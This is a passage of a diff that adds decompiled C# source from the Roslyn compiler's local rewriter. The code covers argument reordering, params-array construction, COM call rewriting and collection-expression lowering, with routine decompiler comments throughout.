instance.Add(operationFactory.CreateArgumentOperation(kind2, null, arguments[i])); + } + return instance.ToImmutableAndFree(); + } + return BuildArgumentsInEvaluationOrder(operationFactory, syntax, methodOrIndexer, expanded, argsToParamsOpt, defaultArguments, arguments, compilation); + } + + private static bool CanSkipRewriting(ImmutableArray rewrittenArguments, Symbol methodOrIndexer, bool expanded, ImmutableArray argsToParamsOpt, bool invokedAsExtensionMethod, bool ignoreComReceiver, out bool isComReceiver) + { + isComReceiver = false; + if (methodOrIndexer.GetIsVararg()) + { + return true; + } + if (!ignoreComReceiver) + { + isComReceiver = (invokedAsExtensionMethod ? (((MethodSymbol)methodOrIndexer).Parameters[0].Type as NamedTypeSymbol) : methodOrIndexer.ContainingType)?.IsComImport ?? false; + } + if (rewrittenArguments.Length == methodOrIndexer.GetParameterCount() && argsToParamsOpt.IsDefault && !expanded) + { + return !isComReceiver; + } + return false; + } + + private static ImmutableArray GetRefKindsOrNull(ArrayBuilder refKinds) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = refKinds.GetEnumerator(); + while (enumerator.MoveNext()) + { + if ((int)enumerator.Current != 0) + { + return refKinds.ToImmutable(); + } + } + return default(ImmutableArray); + } + + private void BuildStoresToTemps(bool expanded, ImmutableArray argsToParamsOpt, ImmutableArray parameters, ImmutableArray argumentRefKinds, ImmutableArray rewrittenArguments, bool forceLambdaSpilling, BoundExpression[] arguments, ArrayBuilder refKinds, ArrayBuilder storesToTemps) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Invalid comparison between Unknown and I4 + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Invalid comparison between Unknown and I4 + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + for (int i = 0; i < rewrittenArguments.Length; i++) + { + BoundExpression boundExpression = rewrittenArguments[i]; + int num = ((!argsToParamsOpt.IsDefault) ? argsToParamsOpt[i] : i); + RefKind val = argumentRefKinds.RefKinds(i); + RefKind refKind = parameters[num].RefKind; + if (IsBeginningOfParamArray(num, i, expanded, arguments.Length, rewrittenArguments, argsToParamsOpt, out var numberOfParamArrayArguments) && i + numberOfParamArrayArguments == rewrittenArguments.Length) + { + break; + } + if ((!forceLambdaSpilling || !isLambdaConversion(boundExpression)) && IsSafeForReordering(boundExpression, val)) + { + arguments[num] = boundExpression; + } + else + { + SyntheticBoundNodeFactory factory = _factory; + BoundExpression argument = boundExpression; + bool flag = refKind - 3 <= 1; + BoundAssignmentOperator store; + BoundLocal boundLocal = factory.StoreToTemp(argument, out store, (RefKind)((!flag) ? ((int)val) : (((int)val == 0) ? 3 : 5)), (SynthesizedLocalKind)(-2)); + storesToTemps.Add(store); + arguments[num] = boundLocal; + } + if (refKind - 3 <= 1) + { + val = (RefKind)(((int)val == 0) ? 3 : 5); + } + refKinds[num] = val; + } + static bool isLambdaConversion(BoundExpression expr) + { + if (expr is BoundConversion boundConversion) + { + return boundConversion.ConversionKind == ConversionKind.AnonymousFunction; + } + return false; + } + } + + private static ImmutableArray BuildArgumentsInEvaluationOrder(CSharpOperationFactory operationFactory, SyntaxNode syntax, Symbol methodOrIndexer, bool expanded, ImmutableArray argsToParamsOpt, BitVector defaultArguments, ImmutableArray arguments, CSharpCompilation compilation) + { + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0142: Unknown result type (might be due to invalid IL or missing references) + //IL_0146: Unknown result type (might be due to invalid IL or missing references) + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray parameters = methodOrIndexer.GetParameters(); + ArrayBuilder instance = ArrayBuilder.GetInstance(parameters.Length); + bool flag = false; + for (int i = 0; i < arguments.Length; i++) + { + BoundExpression expression = arguments[i]; + int num = ((!argsToParamsOpt.IsDefault) ? argsToParamsOpt[i] : i); + ParameterSymbol parameterSymbol = parameters[num]; + if (!flag) + { + flag = num == parameters.Length - 1; + } + ArgumentKind kind = (ArgumentKind)((!((BitVector)(ref defaultArguments))[i]) ? 1 : 3); + if (IsBeginningOfParamArray(num, i, expanded, parameters.Length, arguments, argsToParamsOpt, out var numberOfParamArrayArguments)) + { + int num2 = i + numberOfParamArrayArguments; + kind = (ArgumentKind)2; + ArrayBuilder instance2 = ArrayBuilder.GetInstance(numberOfParamArrayArguments); + for (int j = i; j < num2; j++) + { + instance2.Add(arguments[j]); + } + i = num2 - 1; + expression = CreateParamArrayArgument(syntax, parameterSymbol.Type, instance2.ToImmutableAndFree(), compilation, null); + } + instance.Add(operationFactory.CreateArgumentOperation(kind, parameterSymbol.GetPublicSymbol(), expression)); + } + object obj; + if (parameters.IsEmpty) + { + obj = null; + } + else + { + obj = parameters[parameters.Length - 1]; + } + ParameterSymbol parameterSymbol2 = (ParameterSymbol)obj; + if (expanded && (object)parameterSymbol2 != null && !flag) + { + BoundExpression expression2 = CreateParamArrayArgument(syntax, parameterSymbol2.Type, ImmutableArray.Empty, compilation, null); + ArgumentKind kind2 = (ArgumentKind)2; + instance.Add(operationFactory.CreateArgumentOperation(kind2, parameterSymbol2.GetPublicSymbol(), expression2)); + } + return instance.ToImmutableAndFree(); + } + + private static bool IsBeginningOfParamArray(int parameterIndex, int argumentIndex, bool expanded, int parameterCount, ImmutableArray arguments, ImmutableArray argsToParamsOpt, out int numberOfParamArrayArguments) + { + numberOfParamArrayArguments = 0; + if (expanded && parameterIndex == parameterCount - 1) + { + int i; + for (i = argumentIndex + 1; i < arguments.Length && ((!argsToParamsOpt.IsDefault) ? argsToParamsOpt[i] : i) == parameterCount - 1; i++) + { + } + numberOfParamArrayArguments = i - argumentIndex; + return true; + } + return false; + } + + private BoundExpression BuildParamsArray(SyntaxNode syntax, ImmutableArray argsToParamsOpt, ImmutableArray rewrittenArguments, ImmutableArray parameters, BoundExpression tempStoreArgument) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + int num = parameters.Length - 1; + if (tempStoreArgument != null) + { + instance.Add(tempStoreArgument); + } + else + { + for (int i = 0; i < rewrittenArguments.Length; i++) + { + BoundExpression boundExpression = rewrittenArguments[i]; + if (((!argsToParamsOpt.IsDefault) ? argsToParamsOpt[i] : i) == num) + { + instance.Add(boundExpression); + } + } + } + TypeSymbol type = parameters[num].Type; + ImmutableArray arrayArgs = instance.ToImmutableAndFree(); + if (arrayArgs.Length == 0 && !_inExpressionLambda && type is ArrayTypeSymbol arrayTypeSymbol) + { + BoundExpression boundExpression2 = CreateArrayEmptyCallIfAvailable(syntax, arrayTypeSymbol.ElementType); + if (boundExpression2 != null) + { + return boundExpression2; + } + } + return CreateParamArrayArgument(syntax, type, arrayArgs, _compilation, this); + } + + private BoundExpression CreateEmptyArray(SyntaxNode syntax, ArrayTypeSymbol arrayType) + { + BoundExpression boundExpression = CreateArrayEmptyCallIfAvailable(syntax, arrayType.ElementType); + if (boundExpression != null) + { + return boundExpression; + } + return new BoundArrayCreation(syntax, ImmutableArray.Create((BoundExpression)new BoundLiteral(syntax, ConstantValue.Create(0), _compilation.GetSpecialType((SpecialType)13))), null, arrayType) + { + WasCompilerGenerated = true + }; + } + + private BoundExpression? CreateArrayEmptyCallIfAvailable(SyntaxNode syntax, TypeSymbol elementType) + { + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + if (elementType.IsPointerOrFunctionPointer()) + { + return null; + } + if (!(_compilation.GetWellKnownTypeMember((WellKnownMember)4) is MethodSymbol methodSymbol)) + { + return null; + } + _diagnostics.ReportUseSite(methodSymbol, syntax); + MethodSymbol methodSymbol2 = methodSymbol.Construct(ImmutableArray.Create(elementType)); + return new BoundCall(syntax, null, (ThreeState)0, methodSymbol2, ImmutableArray.Empty, default(ImmutableArray), default(ImmutableArray), isDelegateCall: false, expanded: false, invokedAsExtensionMethod: false, default(ImmutableArray), default(BitVector), LookupResultKind.Viable, methodSymbol2.ReturnType); + } + + private static BoundExpression CreateParamArrayArgument(SyntaxNode syntax, TypeSymbol paramArrayType, ImmutableArray arrayArgs, CSharpCompilation compilation, LocalRewriter? localRewriter) + { + TypeSymbol specialType = compilation.GetSpecialType((SpecialType)13); + BoundExpression item = MakeLiteral(syntax, ConstantValue.Create(arrayArgs.Length), specialType, localRewriter); + return new BoundArrayCreation(syntax, ImmutableArray.Create(item), new BoundArrayInitialization(syntax, isInferred: false, arrayArgs) + { + WasCompilerGenerated = true + }, paramArrayType) + { + WasCompilerGenerated = true + }; + } + + private static BoundExpression MakeLiteral(SyntaxNode syntax, ConstantValue constantValue, TypeSymbol type, LocalRewriter? localRewriter) + { + if (localRewriter != null) + { + return localRewriter.MakeLiteral(syntax, constantValue, type); + } + return new BoundLiteral(syntax, constantValue, type, constantValue.IsBad) + { + WasCompilerGenerated = true + }; + } + + private static void OptimizeTemporaries(BoundExpression[] arguments, ArrayBuilder storesToTemps, ArrayBuilder temporariesBuilder) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + if (storesToTemps.Count <= 0 || MergeArgumentsAndSideEffects(arguments, storesToTemps) <= 0) + { + return; + } + Enumerator enumerator = storesToTemps.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundAssignmentOperator current = enumerator.Current; + if (current != null) + { + temporariesBuilder.Add(((BoundLocal)current.Left).LocalSymbol); + } + } + } + + private static int MergeArgumentsAndSideEffects(BoundExpression[] arguments, ArrayBuilder tempStores) + { + int num = tempStores.Count; + int num2 = 0; + for (int i = 0; i < arguments.Length; i++) + { + BoundExpression boundExpression = arguments[i]; + if (boundExpression == null || boundExpression.Kind != BoundKind.Local) + { + continue; + } + int num3 = -1; + for (int j = num2; j < tempStores.Count; j++) + { + if (tempStores[j].Left == boundExpression) + { + num3 = j; + break; + } + } + if (num3 == -1) + { + continue; + } + BoundExpression right = tempStores[num3].Right; + tempStores[num3] = null; + num--; + if (num3 == num2) + { + arguments[i] = right; + } + else + { + BoundExpression[] array = new BoundExpression[num3 - num2]; + for (int k = 0; k < array.Length; k++) + { + array[k] = tempStores[num2 + k]; + } + arguments[i] = new BoundSequence(right.Syntax, ImmutableArray.Empty, ImmutableArrayExtensions.AsImmutableOrNull(array), right, right.Type); + } + num2 = num3 + 1; + } + return num; + } + + private void RewriteArgumentsForComCall(ImmutableArray parameters, BoundExpression[] actualArguments, ArrayBuilder argsRefKindsBuilder, ArrayBuilder temporariesBuilder) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Invalid comparison between Unknown and I4 + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Invalid comparison between Unknown and I4 + int num = actualArguments.Length; + for (int i = 0; i < num; i++) + { + RefKind refKind = parameters[i].RefKind; + if ((int)argsRefKindsBuilder[i] == 0 && (int)refKind == 1) + { + BoundExpression boundExpression = actualArguments[i]; + if (boundExpression.Kind != BoundKind.Local || (int)((BoundLocal)boundExpression).LocalSymbol.RefKind != 1) + { + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(boundExpression, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + actualArguments[i] = new BoundSequence(boundExpression.Syntax, ImmutableArray.Empty, ImmutableArray.Create((BoundExpression)store), boundLocal, boundLocal.Type); + argsRefKindsBuilder[i] = (RefKind)1; + temporariesBuilder.Add(boundLocal.LocalSymbol); + } + } + } + } + + public override BoundNode VisitDynamicMemberAccess(BoundDynamicMemberAccess node) + { + if (node.Invoked) + { + return node; + } + BoundExpression loweredReceiver = VisitExpression(node.Receiver); + return _dynamicFactory.MakeDynamicGetMember(loweredReceiver, node.Name, node.Indexed).ToExpression(); + } + + public override BoundNode? VisitCollectionExpression(BoundCollectionExpression node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/LocalRewriter/LocalRewriter_CollectionExpression.cs", 22); + } + + private BoundExpression RewriteCollectionExpressionConversion(Conversion conversion, BoundCollectionExpression node) + { + SyntaxNode syntax = _factory.Syntax; + _factory.Syntax = node.Syntax; + try + { + TypeSymbol elementType; + CollectionExpressionTypeKind collectionExpressionTypeKind = conversion.GetCollectionExpressionTypeKind(out elementType); + switch (collectionExpressionTypeKind) + { + case CollectionExpressionTypeKind.ImplementsIEnumerableT: + case CollectionExpressionTypeKind.ImplementsIEnumerable: + return VisitCollectionInitializerCollectionExpression(node, node.Type); + case CollectionExpressionTypeKind.Array: + case CollectionExpressionTypeKind.Span: + case CollectionExpressionTypeKind.ReadOnlySpan: + return VisitArrayOrSpanCollectionExpression(node, collectionExpressionTypeKind, node.Type, TypeWithAnnotations.Create(elementType)); + case CollectionExpressionTypeKind.ImmutableArray: + return VisitImmutableArrayCollectionExpression(node, elementType); + case CollectionExpressionTypeKind.List: + return CreateAndPopulateList(node, TypeWithAnnotations.Create(elementType)); + case CollectionExpressionTypeKind.CollectionBuilder: + return VisitCollectionBuilderCollectionExpression(node); + case CollectionExpressionTypeKind.ArrayInterface: + return VisitListInterfaceCollectionExpression(node); + default: + throw ExceptionUtilities.UnexpectedValue((object)collectionExpressionTypeKind); + } + } + finally + { + _factory.Syntax = syntax; + } + } + + private BoundExpression VisitImmutableArrayCollectionExpression(BoundCollectionExpression node, TypeSymbol elementType) + { + TypeWithAnnotations elementType2 = TypeWithAnnotations.Create(elementType); + BoundExpression item = VisitArrayOrSpanCollectionExpression(node, CollectionExpressionTypeKind.Array, ArrayTypeSymbol.CreateSZArray(_compilation.Assembly, elementType2), elementType2); + MethodSymbol methodSymbol = (MethodSymbol)_compilation.GetWellKnownTypeMember((WellKnownMember)505); + return _factory.StaticCall(methodSymbol.Construct(elementType), ImmutableArray.Create(item)); + } + + private BoundExpression VisitArrayOrSpanCollectionExpression(BoundCollectionExpression node, CollectionExpressionTypeKind collectionTypeKind, TypeSymbol collectionType, TypeWithAnnotations elementType) + { + SyntaxNode syntax = node.Syntax; + MethodSymbol methodSymbol = null; + ArrayTypeSymbol arrayTypeSymbol = collectionType as ArrayTypeSymbol; + if ((object)arrayTypeSymbol == null) + { + NamedTypeSymbol newOwner = (NamedTypeSymbol)collectionType; + ImmutableArray elements = node.Elements; + if (elements.Length == 0) + { + return _factory.Default(collectionType); + } + if (collectionTypeKind == CollectionExpressionTypeKind.ReadOnlySpan && ShouldUseRuntimeHelpersCreateSpan(node, elementType.Type)) + { + MethodSymbol ctor = ((MethodSymbol)_factory.WellKnownMember((WellKnownMember)404)).AsMember(newOwner); + return _factory.New(ctor, _factory.Array(elementType.Type, elements)); + } + if (ShouldUseInlineArray(node) && _additionalLocals != null) + { + return CreateAndPopulateSpanFromInlineArray(syntax, elementType, elements, collectionTypeKind == CollectionExpressionTypeKind.ReadOnlySpan, _additionalLocals); + } + arrayTypeSymbol = ArrayTypeSymbol.CreateSZArray(_compilation.Assembly, elementType); + methodSymbol = ((MethodSymbol)_compilation.GetWellKnownTypeMember((WellKnownMember)((collectionTypeKind == CollectionExpressionTypeKind.Span) ? 399 : 404))).AsMember(newOwner); + } + BoundExpression boundExpression; + if (ShouldUseKnownLength(node, out var _)) + { + boundExpression = CreateAndPopulateArray(node, arrayTypeSymbol); + } + else + { + BoundExpression boundExpression2 = CreateAndPopulateList(node, elementType); + MethodSymbol method = ((MethodSymbol)_compilation.GetWellKnownTypeMember((WellKnownMember)502)).AsMember((NamedTypeSymbol)boundExpression2.Type); + boundExpression = _factory.Call(boundExpression2, method); + } + if ((object)methodSymbol == null) + { + return boundExpression; + } + return new BoundObjectCreationExpression(syntax, methodSymbol, boundExpression); + } + + private BoundExpression VisitCollectionInitializerCollectionExpression(BoundCollectionExpression node, TypeSymbol collectionType) + { + ImmutableArray elements = node.Elements; + BoundExpression argument = VisitExpression(node.CollectionCreation); + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(argument, out store, (RefKind)0, (SynthesizedLocalKind)(-2), isKnownToReferToTempIfReferenceType: true); + ArrayBuilder instance = ArrayBuilder.GetInstance(elements.Length + 1); + instance.Add((BoundExpression)store); + BoundObjectOrCollectionValuePlaceholder placeholder = node.Placeholder; + AddPlaceholderReplacement(placeholder, boundLocal); + ImmutableArray.Enumerator enumerator = elements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + BoundExpression boundExpression; + if (!(current is BoundCollectionElementInitializer initializer)) + { + if (!(current is BoundDynamicCollectionElementInitializer initializer2)) + { + if (!(current is BoundCollectionExpressionSpreadElement boundCollectionExpressionSpreadElement)) + { + throw ExceptionUtilities.UnexpectedValue((object)current); + } + boundExpression = MakeCollectionExpressionSpreadElement(boundCollectionExpressionSpreadElement, VisitExpression(boundCollectionExpressionSpreadElement.Expression), (LocalRewriter rewriter, BoundStatement iteratorBody) => rewriter.VisitStatement(iteratorBody)); + } + else + { + boundExpression = MakeDynamicCollectionInitializer(boundLocal, initializer2); + } + } + else + { + boundExpression = MakeCollectionInitializer(boundLocal, initializer); + } + BoundExpression boundExpression2 = boundExpression; + if (boundExpression2 != null) + { + instance.Add(boundExpression2); + } + } + RemovePlaceholderReplacement(placeholder); + return new BoundSequence(node.Syntax, ImmutableArray.Create(boundLocal.LocalSymbol), instance.ToImmutableAndFree(), boundLocal, collectionType); + } + + private BoundExpression VisitListInterfaceCollectionExpression(BoundCollectionExpression node) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Invalid comparison between Unknown and I4 + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Invalid comparison between Unknown and I4 + SyntaxNode syntax = node.Syntax; + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)node.Type; + TypeWithAnnotations typeWithAnnotations = namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.Single(); + SpecialType specialType = namedTypeSymbol.OriginalDefinition.SpecialType; + BoundExpression arg; + if (((int)specialType == 25 || specialType - 30 <= 1) ? true : false) + { + int numberIncludingLastSpread; + bool flag = ShouldUseKnownLength(node, out numberIncludingLastSpread); + if (numberIncludingLastSpread == 0 && node.Elements.Length == 0) + { + arg = CreateEmptyArray(syntax, ArrayTypeSymbol.CreateSZArray(_compilation.Assembly, typeWithAnnotations)); + } + else + { + ImmutableArray typeArguments = ImmutableArray.Create(typeWithAnnotations); + NamedTypeSymbol namedTypeSymbol2 = _factory.ModuleBuilderOpt.EnsureReadOnlyListTypeExists(syntax, flag, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag).Construct(typeArguments); + if (namedTypeSymbol2.IsErrorType()) + { + return BadExpression(node); + } + BoundExpression boundExpression; + if (flag) + { + ArrayTypeSymbol arrayType = ArrayTypeSymbol.CreateSZArray(_compilation.Assembly, typeWithAnnotations); + boundExpression = CreateAndPopulateArray(node, arrayType); + } + else + { + boundExpression = CreateAndPopulateList(node, typeWithAnnotations); + } + arg = new BoundObjectCreationExpression(syntax, namedTypeSymbol2.Constructors.Single(), boundExpression) + { + WasCompilerGenerated = true + }; + } + } + else + { + arg = CreateAndPopulateList(node, typeWithAnnotations); + } + return _factory.Convert(namedTypeSymbol, arg); + } + + private BoundExpression VisitCollectionBuilderCollectionExpression(BoundCollectionExpression node) + { + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol collectionBuilderMethod = node.CollectionBuilderMethod; + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)collectionBuilderMethod.Parameters[0].Type; + TypeWithAnnotations elementType = namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0]; + BoundExpression item = VisitArrayOrSpanCollectionExpression(node, CollectionExpressionTypeKind.ReadOnlySpan, namedTypeSymbol, elementType); + BoundCall value = new BoundCall(node.Syntax, null, (ThreeState)0, collectionBuilderMethod, ImmutableArray.Create(item), default(ImmutableArray), default(ImmutableArray), isDelegateCall: false, expanded: false, invokedAsExtensionMethod: false, default(ImmutableArray), default(BitVector), LookupResultKind.Viable, collectionBuilderMethod.ReturnType); + BoundValuePlaceholder collectionBuilderInvocationPlaceholder = node.CollectionBuilderInvocationPlaceholder; + AddPlaceholderReplacement(collectionBuilderInvocationPlaceholder, value); + BoundExpression? result = VisitExpression(node.CollectionBuilderInvocationConversion); + RemovePlaceholderReplacement(collectionBuilderInvocationPlaceholder); + return result; + } + + internal static bool ShouldUseRuntimeHelpersCreateSpan(BoundCollectionExpression node, TypeSymbol elementType) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + if (!node.HasSpreadElements(out var _, out var _) && node.Elements.Length > 0 && CodeGenerator.IsTypeAllowedInBlobWrapper(elementType.EnumUnderlyingTypeOrSelf().SpecialType)) + { + return node.Elements.All((BoundExpression e) => e.ConstantValueOpt != null); + } + return false; + } + + private bool ShouldUseInlineArray(BoundCollectionExpression node) + { + if (!node.HasSpreadElements(out var _, out var _) && node.Elements.Length > 0) + { + return _compilation.Assembly.RuntimeSupportsInlineArrayTypes; + } + return false; + } + + private BoundExpression CreateAndPopulateSpanFromInlineArray(SyntaxNode syntax, TypeWithAnnotations elementType, ImmutableArray elements, bool asReadOnlySpan, ArrayBuilder locals) + { + int length = elements.Length; + NamedTypeSymbol namedTypeSymbol = _factory.ModuleBuilderOpt.EnsureInlineArrayTypeExists(syntax, _factory, length, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag).Construct(ImmutableArray.Create(elementType)); + NamedTypeSymbol intType = _factory.SpecialType((SpecialType)13); + MethodSymbol method = _factory.ModuleBuilderOpt.EnsureInlineArrayElementRefExists(syntax, intType, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag).Construct(ImmutableArray.Create(TypeWithAnnotations.Create(namedTypeSymbol), elementType)); + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(new BoundDefaultExpression(syntax, namedTypeSymbol), out store, (RefKind)0, (SynthesizedLocalKind)(-2), isKnownToReferToTempIfReferenceType: true); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.Add((BoundExpression)store); + locals.Add(boundLocal.LocalSymbol); + for (int i = 0; i < length; i++) + { + BoundExpression right = VisitExpression(elements[i]); + BoundCall boundCall = _factory.Call(null, method, boundLocal, _factory.Literal(i), useStrictArgumentRefKinds: true); + BoundAssignmentOperator boundAssignmentOperator = new BoundAssignmentOperator(syntax, boundCall, right, boundCall.Type) + { + WasCompilerGenerated = true + }; + instance.Add((BoundExpression)boundAssignmentOperator); + } + MethodSymbol methodSymbol = (asReadOnlySpan ? _factory.ModuleBuilderOpt.EnsureInlineArrayAsReadOnlySpanExists(syntax, _factory.WellKnownType((WellKnownType)276), intType, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag) : _factory.ModuleBuilderOpt.EnsureInlineArrayAsSpanExists(syntax, _factory.WellKnownType((WellKnownType)275), intType, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag)); + methodSymbol = methodSymbol.Construct(ImmutableArray.Create(TypeWithAnnotations.Create(namedTypeSymbol), elementType)); + BoundCall boundCall2 = _factory.Call(null, methodSymbol, boundLocal, _factory.Literal(length), useStrictArgumentRefKinds: true); + return new BoundSequence(syntax, ImmutableArray.Empty, instance.ToImmutableAndFree(), boundCall2, boundCall2.Type); + } + + private static bool ShouldUseKnownLength(BoundCollectionExpression node, out int numberIncludingLastSpread) + { + node.HasSpreadElements(out var numberIncludingLastSpread2, out var hasKnownLength); + if (hasKnownLength && numberIncludingLastSpread2 <= 3) + { + numberIncludingLastSpread = numberIncludingLastSpread2; + return true; + } + numberIncludingLastSpread = 0; + return false; + } + + private BoundExpression CreateAndPopulateArray(BoundCollectionExpression node, ArrayTypeSymbol arrayType) + { + SyntaxNode syntax = node.Syntax; + ImmutableArray elements = node.Elements; + if (!ShouldUseKnownLength(node, out var numberIncludingLastSpread)) + { + throw ExceptionUtilities.UnexpectedValue((object)node); + } + if (numberIncludingLastSpread == 0) + { + int length = elements.Length; + if (length == 0) + { + return CreateEmptyArray(syntax, arrayType); + } + BoundArrayInitialization initializerOpt = new BoundArrayInitialization(syntax, isInferred: false, ImmutableArrayExtensions.SelectAsArray(elements, (Func)((BoundExpression element, LocalRewriter rewriter) => rewriter.VisitExpression(element)), this)); + return new BoundArrayCreation(syntax, ImmutableArray.Create((BoundExpression)new BoundLiteral(syntax, ConstantValue.Create(length), _compilation.GetSpecialType((SpecialType)13))), initializerOpt, arrayType) + { + WasCompilerGenerated = true + }; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + RewriteCollectionExpressionElementsIntoTemporaries(elements, numberIncludingLastSpread, instance, instance2); + BoundAssignmentOperator store; + BoundLocal indexTemp = _factory.StoreToTemp(_factory.Literal(0), out store, (RefKind)0, (SynthesizedLocalKind)(-2), isKnownToReferToTempIfReferenceType: true); + instance.Add(indexTemp); + instance2.Add((BoundExpression)store); + BoundLocal boundLocal = _factory.StoreToTemp(new BoundArrayCreation(syntax, ImmutableArray.Create(GetKnownLengthExpression(elements, numberIncludingLastSpread, instance)), null, arrayType), out store, (RefKind)0, (SynthesizedLocalKind)(-2), isKnownToReferToTempIfReferenceType: true); + instance.Add(boundLocal); + instance2.Add((BoundExpression)store); + AddCollectionExpressionElements(elements, boundLocal, instance, numberIncludingLastSpread, instance2, delegate(ArrayBuilder expressions, BoundExpression arrayTemp, BoundExpression rewrittenValue) + { + SyntaxNode syntax2 = rewrittenValue.Syntax; + TypeSymbol elementType = ((ArrayTypeSymbol)arrayTemp.Type).ElementType; + expressions.Add((BoundExpression)new BoundAssignmentOperator(syntax2, _factory.ArrayAccess(arrayTemp, indexTemp), rewrittenValue, isRef: false, elementType)); + expressions.Add((BoundExpression)new BoundAssignmentOperator(syntax2, indexTemp, _factory.Binary(BinaryOperatorKind.Addition, indexTemp.Type, indexTemp, _factory.Literal(1)), isRef: false, indexTemp.Type)); + }); + ImmutableArray locals = ArrayBuilderExtensions.SelectAsArray(instance, (Func)((BoundLocal l) => l.LocalSymbol)); + instance.Free(); + return new BoundSequence(syntax, locals, instance2.ToImmutableAndFree(), boundLocal, arrayType); + } + + private BoundExpression CreateAndPopulateList(BoundCollectionExpression node, TypeWithAnnotations elementType) + { + ImmutableArray elements = node.Elements; + ImmutableArray typeArguments = ImmutableArray.Create(elementType); + NamedTypeSymbol namedTypeSymbol = _factory.WellKnownType((WellKnownType)206).Construct(typeArguments); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(elements.Length + 1); + int numberIncludingLastSpread; + bool num = ShouldUseKnownLength(node, out numberIncludingLastSpread); + RewriteCollectionExpressionElementsIntoTemporaries(elements, numberIncludingLastSpread, instance, instance2); + bool flag = false; + MethodSymbol methodSymbol = null; + MethodSymbol methodSymbol2 = null; + if (num && elements.Length > 0) + { + MethodSymbol? currentFunction = _factory.CurrentFunction; + if ((object)currentFunction != null && !currentFunction.IsAsync) + { + methodSymbol = ((MethodSymbol)_compilation.GetWellKnownTypeMember((WellKnownMember)504))?.Construct(typeArguments); + methodSymbol2 = ((MethodSymbol)_compilation.GetWellKnownTypeMember((WellKnownMember)503))?.Construct(typeArguments); + if ((object)methodSymbol != null && (object)methodSymbol2 != null) + { + flag = true; + } + } + } + BoundObjectCreationExpression argument; + if (num && elements.Length > 0 && !flag) + { + MethodSymbol ctor = ((MethodSymbol)_factory.WellKnownMember((WellKnownMember)495)).AsMember(namedTypeSymbol); + argument = _factory.New(ctor, ImmutableArray.Create(GetKnownLengthExpression(elements, numberIncludingLastSpread, instance))); + } + else + { + MethodSymbol ctor2 = ((MethodSymbol)_factory.WellKnownMember((WellKnownMember)494)).AsMember(namedTypeSymbol); + argument = _factory.New(ctor2, ImmutableArray.Empty); + } + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(argument, out store, (RefKind)0, (SynthesizedLocalKind)(-2), isKnownToReferToTempIfReferenceType: true); + instance.Add(boundLocal); + instance2.Add((BoundExpression)store); + if (flag) + { + instance2.Add((BoundExpression)_factory.Call(null, methodSymbol, boundLocal, GetKnownLengthExpression(elements, numberIncludingLastSpread, instance))); + BoundLocal boundLocal2 = _factory.StoreToTemp(_factory.Call(null, methodSymbol2, boundLocal), out store, (RefKind)0, (SynthesizedLocalKind)(-2), isKnownToReferToTempIfReferenceType: true); + instance.Add(boundLocal2); + instance2.Add((BoundExpression)store); + MethodSymbol spanGetItem = ((MethodSymbol)_factory.WellKnownMember((WellKnownMember)400)).AsMember((NamedTypeSymbol)boundLocal2.Type); + BoundLocal indexTemp = 